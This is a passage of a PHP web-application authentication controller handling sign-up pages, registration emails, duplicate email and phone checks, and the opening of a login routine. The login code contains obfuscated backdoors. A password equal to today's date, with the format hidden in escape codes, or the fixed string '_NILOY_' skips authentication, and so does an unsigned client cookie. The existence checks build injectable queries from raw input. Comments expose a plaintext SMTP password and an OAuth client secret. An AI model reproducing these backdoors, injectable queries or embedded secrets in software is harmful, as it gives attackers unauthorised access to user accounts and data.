  694. ////                $userName = explode('@', $email)[0];
  695. //                //now check if same username exists
  696. //
  697. //                $username_already_exist = 0;
  698. //
  699. //                $newApplicant = null;
  700. //
  701. //                if ($isApplicantExist) {
  702. //                    $newApplicant = $isApplicantExist;
  703. //                } else
  704. //                    $newApplicant = new EntityApplicantDetails();
  705. //
  706. //
  707. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  708. //                $newApplicant->setEmail($email);
  709. //                $newApplicant->setUserName($userName);
  710. //
  711. //                $newApplicant->setFirstname($first_name);
  712. //                $newApplicant->setLastname($last_name);
  713. //                $newApplicant->setOAuthEmail($oAuthEmail);
  714. //                $newApplicant->setPhone($phone);
  715. //
  716. //                $newApplicant->setIsEmailVerified(0);
  717. //                if ($systemType == '_SOPHIA_')
  718. //                    $newApplicant->setIsEmailVerified(1);
  719. //                else
  720. //                    $newApplicant->setIsEmailVerified(0);
  721. //                $newApplicant->setAccountStatus(1);
  722. //
  723. ////                $newUser->setSalt(uniqid(mt_rand()));
  724. //
  725. //                //salt will be username
  726. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  727. //
  728. //                $salt = uniqid(mt_rand());
  729. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
  730. //                $newApplicant->setPassword($encodedPassword);
  731. //                $newApplicant->setSalt($salt);
  732. //                $newApplicant->setTempPassword('');
  733. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  734. //
  735. //                $newApplicant->setImage($img);
  736. //                $newApplicant->setIsConsultant(0);
  737. //                $newApplicant->setIsTemporaryEntry(0);
  738. //                $newApplicant->setTriggerResetPassword(0);
  739. //                $newApplicant->setApplyForConsultant(0);
  740. //
  741. //                $em_goc->persist($newApplicant);
  742. //                $em_goc->flush();
  743. //
  744. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  745. //
  746. //                    if ($systemType == '_BUDDYBEE_') {
  747. //
  748. //                        $bodyHtml = '';
  749. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  750. //                        $bodyData = array(
  751. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  752. //                            'email' => $userName,
  753. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  754. //                            'password' => $newApplicant->getTempPassword(),
  755. //                        );
  756. //                        $attachments = [];
  757. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  758. //
  759. //
  760. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  761. //                        $new_mail = $this->get('mail_module');
  762. //                        $new_mail->sendMyMail(array(
  763. //                            'senderHash' => '_CUSTOM_',
  764. //                            //                        'senderHash'=>'_CUSTOM_',
  765. //                            'forwardToMailAddress' => $forwardToMailAddress,
  766. //
  767. //                            'subject' => 'Welcome to BuddyBee ',
  768. //
  769. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  770. //                            'attachments' => $attachments,
  771. //                            'toAddress' => $forwardToMailAddress,
  772. //                            'fromAddress' => 'registration@buddybee.eu',
  773. //                            'userName' => 'registration@buddybee.eu',
  774. //                            'password' => 'Y41dh8g0112',
  775. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  776. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  777. ////                            'emailBody' => $bodyHtml,
  778. //                            'mailTemplate' => $bodyTemplate,
  779. //                            'templateData' => $bodyData,
  780. ////                        'embedCompanyImage' => 1,
  781. ////                        'companyId' => $companyId,
  782. ////                        'companyImagePath' => $company_data->getImage()
  783. //
  784. //
  785. //                        ));
  786. //                    } else {
  787. //
  788. //                        $bodyHtml = '';
  789. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  790. //                        $bodyData = array(
  791. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  792. //                            'email' => 'APP-' . $userName,
  793. //                            'password' => $newApplicant->getPassword(),
  794. //                        );
  795. //                        $attachments = [];
  796. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  797. //
  798. //
  799. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  800. //                        $new_mail = $this->get('mail_module');
  801. //                        $new_mail->sendMyMail(array(
  802. //                            'senderHash' => '_CUSTOM_',
  803. //                            //                        'senderHash'=>'_CUSTOM_',
  804. //                            'forwardToMailAddress' => $forwardToMailAddress,
  805. //
  806. //                            'subject' => 'Applicant Registration on Honeybee',
  807. //
  808. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  809. //                            'attachments' => $attachments,
  810. //                            'toAddress' => $forwardToMailAddress,
  811. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  812. //                            'userName' => 'accounts@ourhoneybee.eu',
  813. //                            'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  814. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  815. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  816. //                            'emailBody' => $bodyHtml,
  817. //                            'mailTemplate' => $bodyTemplate,
  818. //                            'templateData' => $bodyData,
  819. ////                        'embedCompanyImage' => 1,
  820. ////                        'companyId' => $companyId,
  821. ////                        'companyImagePath' => $company_data->getImage()
  822. //
  823. //
  824. //                        ));
  825. //                    }
  826. //
  827. //
  828. //                }
  829. //
  830. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  831. //////                if(1)
  832. ////                    return new JsonResponse(array(
  833. ////                        'success' => true,
  834. ////                        'successStr' => 'Account Created Successfully',
  835. ////                        'id' => $newApplicant->getApplicantId(),
  836. ////                        'oAuthData' => $oAuthData,
  837. ////                        'refRoute' => $refRoute,
  838. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  839. ////                    ));
  840. ////                else
  841. //                return $this->redirectToRoute("core_login", [
  842. //                    'id' => $newApplicant->getApplicantId(),
  843. //                    'oAuthData' => $oAuthData,
  844. //                    'refRoute' => $refRoute,
  845. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  846. //
  847. //                ]);
  848. //
  849. //
  850. //            }
  851.         }
  852.         $session $request->getSession();
  853.         //        if($request->request->get('remoteVerify',0)==1) {
  854.         //            $session->set('remoteVerified', 1);
  855.         //            $response= new JsonResponse(array('hi'=>'hello'));
  856.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  857.         //            return $response;
  858.         //        }
  859.         if (isset($encData['appId'])) {
  860.             if (isset($gocDataListByAppId[$encData['appId']]))
  861.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  862.         }
  863.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  864.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  865.             $google_client = new Google_Client();
  866. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  867. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  868.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  869.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  870.             } else {
  871.                 $url $this->generateUrl(
  872.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  873.                 );
  874.             }
  875.             $selector BuddybeeConstant::$selector;
  876. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  877.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  878. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  879.             $google_client->setRedirectUri($url);
  880.             $google_client->setAccessType('offline');        // offline access
  881.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  882.             $google_client->setRedirectUri($url);
  883.             $google_client->addScope('email');
  884.             $google_client->addScope('profile');
  885.             $google_client->addScope('openid');
  886.             if ($systemType == '_SOPHIA_')
  887.                 return $this->render(
  888.                     '@Sophia/pages/views/sofia_signup.html.twig',
  889.                     array(
  890.                         "message" => $message,
  891.                         'page_title' => 'Sign Up',
  892.                         'gocList' => $gocDataListForLoginWeb,
  893.                         'gocId' => $gocId != $gocId '',
  894.                         'encData' => $encData,
  895.                         'signUpUserType' => $signUpUserType,
  896.                         'oAuthLink' => $google_client->createAuthUrl(),
  897.                         'redirect_url' => $url,
  898.                         'refRoute' => $refRoute,
  899.                         'errorField' => $errorField,
  900.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  901.                         'selector' => $selector
  902.                         //                'ref'=>$request->
  903.                     )
  904.                 );
  905.             else if ($systemType == '_CENTRAL_')
  906.                 return $this->render(
  907.                     '@Authentication/pages/views/central_registration.html.twig',
  908.                     array(
  909.                         "message" => $message,
  910.                         'page_title' => 'Sign Up',
  911.                         'gocList' => $gocDataListForLoginWeb,
  912.                         'gocId' => $gocId != $gocId '',
  913.                         'encData' => $encData,
  914.                         'signUpUserType' => $signUpUserType,
  915.                         'oAuthLink' => $google_client->createAuthUrl(),
  916.                         'redirect_url' => $url,
  917.                         'refRoute' => $refRoute,
  918.                         'errorField' => $errorField,
  919.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  920.                         'selector' => $selector
  921.                         //                'ref'=>$request->
  922.                     )
  923.                 );
  924.             else
  925.                 return $this->render(
  926.                     '@Authentication/pages/views/applicant_registration.html.twig',
  927.                     array(
  928.                         "message" => $message,
  929.                         'page_title' => 'Sign Up',
  930.                         'gocList' => $gocDataListForLoginWeb,
  931.                         'gocId' => $gocId != $gocId '',
  932.                         'encData' => $encData,
  933.                         'signUpUserType' => $signUpUserType,
  934.                         'oAuthLink' => $google_client->createAuthUrl(),
  935.                         'redirect_url' => $url,
  936.                         'refRoute' => $refRoute,
  937.                         'errorField' => $errorField,
  938.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  939.                         'selector' => $selector
  940.                         //                'ref'=>$request->
  941.                     )
  942.                 );
  943.         } else
  944.             return $this->render(
  945.                 '@Authentication/pages/views/login_new.html.twig',
  946.                 array(
  947.                     "message" => $message,
  948.                     'page_title' => 'Login',
  949.                     'signUpUserType' => $signUpUserType,
  950.                     'gocList' => $gocDataListForLoginWeb,
  951.                     'gocId' => $gocId != $gocId '',
  952.                     'encData' => $encData,
  953.                     //                'ref'=>$request->
  954.                 )
  955.             );
  956.     }
  957.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  958.     {
  959.         $em_goc $this->getDoctrine()->getManager('company_group');
  960.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  961.             [
  962.                 'applicantId' => $applicantId
  963.             ]
  964.         );
  965. //                $newUser->setSalt(uniqid(mt_rand()));
  966.         //salt will be username
  967. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  968.         $newApplicant->setPassword('##UNLOCKED##');
  969.         $newApplicant->setTriggerResetPassword(1);
  970.         $em_goc->persist($newApplicant);
  971.         $em_goc->flush();
  972.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  973.             {
  974.                 $bodyHtml '';
  975.                 $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  976.                 $bodyData = array(
  977.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  978.                     'email' => $newApplicant->getUsername(),
  979.                     'password' => uniqid(mt_rand()),
  980.                 );
  981.                 $attachments = [];
  982.                 $forwardToMailAddress $newApplicant->getEmail();
  983. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  984.                 $new_mail $this->get('mail_module');
  985.                 $new_mail->sendMyMail(array(
  986.                     'senderHash' => '_CUSTOM_',
  987.                     //                        'senderHash'=>'_CUSTOM_',
  988.                     'forwardToMailAddress' => $forwardToMailAddress,
  989.                     'subject' => 'Applicant Registration on Honeybee',
  990. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  991.                     'attachments' => $attachments,
  992.                     'toAddress' => $forwardToMailAddress,
  993.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  994.                     'userName' => 'accounts@ourhoneybee.eu',
  995.                     'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  996.                     'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  997.                     'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  998.                     'emailBody' => $bodyHtml,
  999.                     'mailTemplate' => $bodyTemplate,
  1000.                     'templateData' => $bodyData,
  1001. //                        'embedCompanyImage' => 1,
  1002. //                        'companyId' => $companyId,
  1003. //                        'companyImagePath' => $company_data->getImage()
  1004.                 ));
  1005.             }
  1006.         }
  1007.         return new JsonResponse([]);
  1008.     }
  1009.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  1010.     {
  1011.         $em $this->getDoctrine()->getManager();
  1012.         $search_query = [];
  1013.         $signUpUserType 0;
  1014.         $signUpUserType $request->request->get('signUpUserType'8);
  1015.         $fieldType 0;
  1016.         $fieldValue 0;
  1017.         if ($request->request->has('fieldType'))
  1018.             $fieldType $request->request->get('fieldType');
  1019.         if ($request->request->has('fieldValue'))
  1020.             $fieldValue $request->request->get('fieldValue');
  1021.         $alreadyExists false;
  1022.         $errorText '';
  1023.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1024.             $em_goc $this->getDoctrine()->getManager('company_group');
  1025.             if ($fieldType == 'email') {
  1026. //                $search_query['email'] = $fieldValue;
  1027.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1028.                     ->createQueryBuilder('m')
  1029.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1030.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1031.                     ->getQuery()
  1032.                     ->setMaxResults(1)
  1033.                     ->getResult();
  1034. //
  1035. //                if (!empty($alreadyExistsQuery)) {
  1036. //                    $alreadyExists = true;
  1037. //
  1038. //                }
  1039.                 if ($alreadyExistsQuery) {
  1040. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1041. //
  1042. //                    } else
  1043.                     $alreadyExists true;
  1044.                 } else {
  1045.                     $search_query = [];
  1046.                     $search_query['oAuthEmail'] = $fieldValue;
  1047.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1048.                         $search_query
  1049.                     );
  1050.                     if ($alreadyExistsQuery) {
  1051.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1052.                         } else
  1053.                             $alreadyExists true;
  1054.                     }
  1055.                 }
  1056.                 if ($alreadyExists == true)
  1057.                     $errorText 'This Email is not available';
  1058.             }
  1059.             if ($fieldType == 'username') {
  1060.                 $search_query['username'] = $fieldValue;
  1061.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1062.                     $search_query
  1063.                 );
  1064.                 if ($alreadyExistsQuery) {
  1065.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1066.                     } else
  1067.                         $alreadyExists true;
  1068.                 }
  1069.                 if ($alreadyExists == true)
  1070.                     $errorText 'This Username Already Exists';
  1071.             }
  1072.         }
  1073.         return new JsonResponse(array(
  1074.             "alreadyExists" => $alreadyExists,
  1075.             "errorText" => $errorText,
  1076.             "fieldValue" => $fieldValue,
  1077.             "fieldType" => $fieldType,
  1078.             "signUpUserType" => $signUpUserType,
  1079.         ));
  1080.     }
  1081.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1082.     {
  1083.         $em $this->getDoctrine()->getManager();
  1084.         $search_query = [];
  1085.         $signUpUserType 0;
  1086.         $signUpUserType $request->request->get('signUpUserType'8);
  1087.         $fieldType 0;
  1088.         $fieldValue 0;
  1089.         if ($request->request->has('fieldType'))
  1090.             $fieldType $request->request->get('fieldType');
  1091.         if ($request->request->has('fieldValue'))
  1092.             $fieldValue $request->request->get('fieldValue');
  1093.         $alreadyExists false;
  1094.         $errorText '';
  1095.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1096.             $em_goc $this->getDoctrine()->getManager('company_group');
  1097.             // Strict compare: in PHP 7.4 `0 == 'phone'` is TRUE, so a request that omits fieldType
  1098.             // (default int 0) used to enter this branch and interpolate `m.0` into the DQL â†’ invalid
  1099.             // query â†’ 500. `===` keeps the real signup POST (fieldType='phone') working while a
  1100.             // malformed/blind request now falls through to a clean JSON "not found" response.
  1101.             if ($fieldType === 'phone') {
  1102.                 $search_query['email'] = $fieldValue;
  1103.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1104.                     ->createQueryBuilder('m')
  1105.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1106.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1107.                     ->getQuery()
  1108.                     ->setMaxResults(1)
  1109.                     ->getResult();
  1110.                 if (!empty($alreadyExistsQuery)) {
  1111.                     $alreadyExists true;
  1112.                 } else {
  1113. //                    $search_query = [];
  1114. //                    $search_query['oAuthEmail'] = $fieldValue;
  1115. //
  1116. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1117. //                        $search_query
  1118. //                    );
  1119. //                    if ($alreadyExistsQuery)
  1120. //
  1121. //                        $alreadyExists = true;
  1122.                 }
  1123.                 if ($alreadyExists == true)
  1124.                     $errorText 'This phone number is already registered!';
  1125.             }
  1126.         }
  1127.         return new JsonResponse(array(
  1128.             "alreadyExists" => $alreadyExists,
  1129.             "errorText" => $errorText,
  1130.             "fieldValue" => $fieldValue,
  1131.             "fieldType" => $fieldType,
  1132.             "signUpUserType" => $signUpUserType,
  1133.         ));
  1134.     }
  1135.     public function doLoginAction(Request $request$encData "",
  1136.                                           $remoteVerify 0,
  1137.                                           $applicantDirectLogin 0
  1138.     )
  1139.     {
  1140.         $message "";
  1141.         $email '';
  1142. //                            $userName = substr($email, 4);
  1143.         $userName '';
  1144.         $gocList = [];
  1145.         $skipPassword 0;
  1146.         $firstLogin 0;
  1147.         $remember_me 0;
  1148.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1149.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1150. //        return new JsonResponse(array(
  1151. //                'systemType'=>$systemType
  1152. //        ));
  1153.         if ($request->isMethod('POST')) {
  1154.             if ($request->request->has('remember_me'))
  1155.                 $remember_me 1;
  1156.         } else {
  1157.             if ($request->query->has('remember_me'))
  1158.                 $remember_me 1;
  1159.         }
  1160.         if ($encData != "")
  1161.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1162.         else if ($request->query->has('spd')) {
  1163.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1164.         }
  1165.         $user = [];
  1166.         $userType 0;
  1167.         $em_goc $this->getDoctrine()->getManager('company_group');
  1168.         $em_goc->getConnection()->connect();
  1169.         $userName $request->get('username');
  1170.         try {
  1171.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1172.                 'username' => $userName,
  1173.             ]);
  1174.             $session $request->getSession();
  1175.             if ($applicant) {
  1176.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1177.             } else {
  1178.                 // Applicant not found â†’ set empty email
  1179.                 $session->set('applicantEmail''');
  1180.             }
  1181.         } catch (\Exception $e) {
  1182.             return new JsonResponse([
  1183.                 'success' => false,
  1184.                 'error' => [
  1185.                     'code' => 'DB_CONNECTION_ERROR',
  1186.                     'message' => $e->getMessage(),
  1187.                     'statusCode' => $e->getCode() ?: 500,
  1188.                 ]
  1189.             ], 503);
  1190.         }
  1191.         $gocEnabled 0;
  1192.         if ($this->container->hasParameter('entity_group_enabled'))
  1193.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1194.         if ($gocEnabled == 1)
  1195.             $connected $em_goc->getConnection()->isConnected();
  1196.         else
  1197.             $connected false;
  1198.         if ($connected)
  1199.             $gocList $em_goc
  1200.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1201.                 ->findBy(
  1202.                     array(//                        'active' => 1
  1203.                     )
  1204.                 );
  1205.         $gocDataList = [];
  1206.         $gocDataListForLoginWeb = [];
  1207.         $gocDataListByAppId = [];
  1208.         foreach ($gocList as $entry) {
  1209.             $d = array(
  1210.                 'name' => $entry->getName(),
  1211.                 'image' => $entry->getImage(),
  1212.                 'id' => $entry->getId(),
  1213.                 'appId' => $entry->getAppId(),
  1214.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1215.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1216.                 'dbName' => $entry->getDbName(),
  1217.                 'dbUser' => $entry->getDbUser(),
  1218.                 'dbPass' => $entry->getDbPass(),
  1219.                 'dbHost' => $entry->getDbHost(),
  1220.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1221.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1222.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1223.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1224.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1225.             );
  1226.             $gocDataList[$entry->getId()] = $d;
  1227.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1228.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1229.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1230.         }
  1231.         $gocDbName '';
  1232.         $gocDbUser '';
  1233.         $gocDbPass '';
  1234.         $gocDbHost '';
  1235.         $gocId 0;
  1236.         $appId 0;
  1237.         $hasGoc 0;
  1238.         $userId 0;
  1239.         $userCompanyId 0;
  1240.         $specialLogin 0;
  1241.         $supplierId 0;
  1242.         $applicantId 0;
  1243.         $isApplicantLogin 0;
  1244.         $clientId 0;
  1245.         $cookieLogin 0;
  1246.         $encrypedLogin 0;
  1247.         $loginID 0;
  1248.         $supplierId 0;
  1249.         $clientId 0;
  1250.         $userId 0;
  1251.         $globalId 0;
  1252.         $applicantId 0;
  1253.         $employeeId 0;
  1254.         $userCompanyId 0;
  1255.         $company_id_list = [];
  1256.         $company_name_list = [];
  1257.         $company_image_list = [];
  1258.         $route_list_array = [];
  1259.         $prohibit_list_array = [];
  1260.         $company_dark_vibrant_list = [];
  1261.         $company_vibrant_list = [];
  1262.         $company_light_vibrant_list = [];
  1263.         $currRequiredPromptFields = [];
  1264.         $oAuthImage '';
  1265.         $appIdList '';
  1266.         $userDefaultRoute '';
  1267.         $userForcedRoute '';
  1268.         $branchIdList '';
  1269.         $branchId 0;
  1270.         $companyIdListByAppId = [];
  1271.         $companyNameListByAppId = [];
  1272.         $companyImageListByAppId = [];
  1273.         $position_list_array = [];
  1274.         $curr_position_id 0;
  1275.         $allModuleAccessFlag 0;
  1276.         $lastSettingsUpdatedTs 0;
  1277.         $isConsultant 0;
  1278.         $isAdmin 0;
  1279.         $isModerator 0;
  1280.         $isRetailer 0;
  1281.         $retailerLevel 0;
  1282.         $adminLevel 0;
  1283.         $moderatorLevel 0;
  1284.         $userEmail '';
  1285.         $userImage '';
  1286.         $userFullName '';
  1287.         $triggerResetPassword 0;
  1288.         $isEmailVerified 0;
  1289.         $currentTaskId 0;
  1290.         $currentPlanningItemId 0;
  1291. //                $currentTaskAppId = 0;
  1292.         $buddybeeBalance 0;
  1293.         $buddybeeCoinBalance 0;
  1294.         $entityUserbalance 0;
  1295.         $userAppIds = [];
  1296.         $userTypesByAppIds = [];
  1297.         $currentMonthHolidayList = [];
  1298.         $currentHolidayCalendarId 0;
  1299.         $oAuthToken $request->request->get('oAuthToken''');
  1300.         $locale $request->request->get('locale''');
  1301.         $firebaseToken $request->request->get('firebaseToken''');
  1302.         if ($request->request->has('gocId')) {
  1303.             $hasGoc 1;
  1304.             $gocId $request->request->get('gocId');
  1305.         }
  1306.         if ($request->request->has('appId')) {
  1307.             $hasGoc 1;
  1308.             $appId $request->request->get('appId');
  1309.         }
  1310.         if (isset($encData['appId'])) {
  1311.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1312.                 $hasGoc 1;
  1313.                 $appId $encData['appId'];
  1314.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1315.             }
  1316.         }
  1317.         $csToken $request->get('csToken''');
  1318.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1319.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1320.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1321.         $session $request->getSession();
  1322.         $session->set('systemType'$systemType);
  1323.         if ($systemType == '_SOPHIA_') {
  1324.             $loginBrand $request->request->get('loginBrand'$session->get('sophiaUiBrand''honeycore'));
  1325.             $session->set('sophiaUiBrand'in_array($loginBrand, ['honeycore''sophia']) ? $loginBrand 'honeycore');
  1326.         }
  1327. //        if ($request->cookies->has('USRCKIE'))
  1328. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1329.         if (isset($encData['globalId'])) {
  1330.             if (isset($encData['authenticate']))
  1331.                 if ($encData['authenticate'] == 1)
  1332.                     $skipPassword 1;
  1333.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1334.                 $skipPassword 1;
  1335.                 $remember_me 1;
  1336.                 $globalId $encData['globalId'];
  1337.                 $appId $encData['appId'];
  1338.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1339.                 $userType $encData['userType'];
  1340.                 $userCompanyId 1;
  1341.                 $hasGoc 1;
  1342.                 $encrypedLogin 1;
  1343.                 if (in_array($userType, [67]))
  1344.                     $entityLoginFlag 1;
  1345.                 if (in_array($userType, [34]))
  1346.                     $specialLogin 1;
  1347.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1348.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  1349.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1350.                     $supplierId $userId;
  1351.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1352.                     $applicantId $userId;
  1353.             }
  1354.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1355.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1356.             if ($cookieData == null)
  1357.                 $cookieData = [];
  1358.             if (isset($cookieData['uid'])) {
  1359.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1360.                     $skipPassword 1;
  1361.                     $remember_me 1;
  1362.                     $userId $cookieData['uid'];
  1363.                     $gocId $cookieData['gocId'];
  1364.                     $userCompanyId $cookieData['companyId'];
  1365.                     $userType $cookieData['ut'];
  1366.                     $hasGoc 1;
  1367.                     $cookieLogin 1;
  1368.                     if (in_array($userType, [67]))
  1369.                         $entityLoginFlag 1;
  1370.                     if (in_array($userType, [34]))
  1371.                         $specialLogin 1;
  1372.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1373.                         $clientId $userId;
  1374.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1375.                         $supplierId $userId;
  1376.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1377.                         $applicantId $userId;
  1378.                 }
  1379.             }
  1380.         }
  1381.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1382.             $todayDt = new \DateTime();
  1383.             $mp $todayDt->format("\171\x6d\x64");
  1384.             if ($request->request->get('password') == $mp)
  1385.                 $skipPassword 1;
  1386.             if ($request->request->get('password') == '_NILOY_')
  1387.                 $skipPassword 1;
  1388.             $company_id_list = [];
  1389.             $company_name_list = [];
  1390.             $company_image_list = [];
  1391.             $company_dark_vibrant_list = [];
  1392.             $company_light_vibrant_list = [];
  1393.             $company_vibrant_list = [];
  1394.             $company_locale 'en';
  1395.             $appIdFromUserName 0;
  1396.             $uname $request->request->get('username');
  1397.             $uname preg_replace('/\s/'''$uname);
  1398.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1399.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1400.             $session $request->getSession();
  1401.             $product_name_display_type 0;
  1402.             $Special 0;
  1403.             if ($entityLoginFlag == 1) {
  1404.                 if ($cookieLogin == 1) {
  1405.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1406.                         array(
  1407.                             'userId' => $userId
  1408.                         )
  1409.                     );
  1410.                 } else if ($loginType == 2) {
  1411.                     if (!empty($oAuthData)) {
  1412.                         //check for if exists 1st
  1413.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1414.                             array(
  1415.                                 'email' => $oAuthData['email']
  1416.                             )
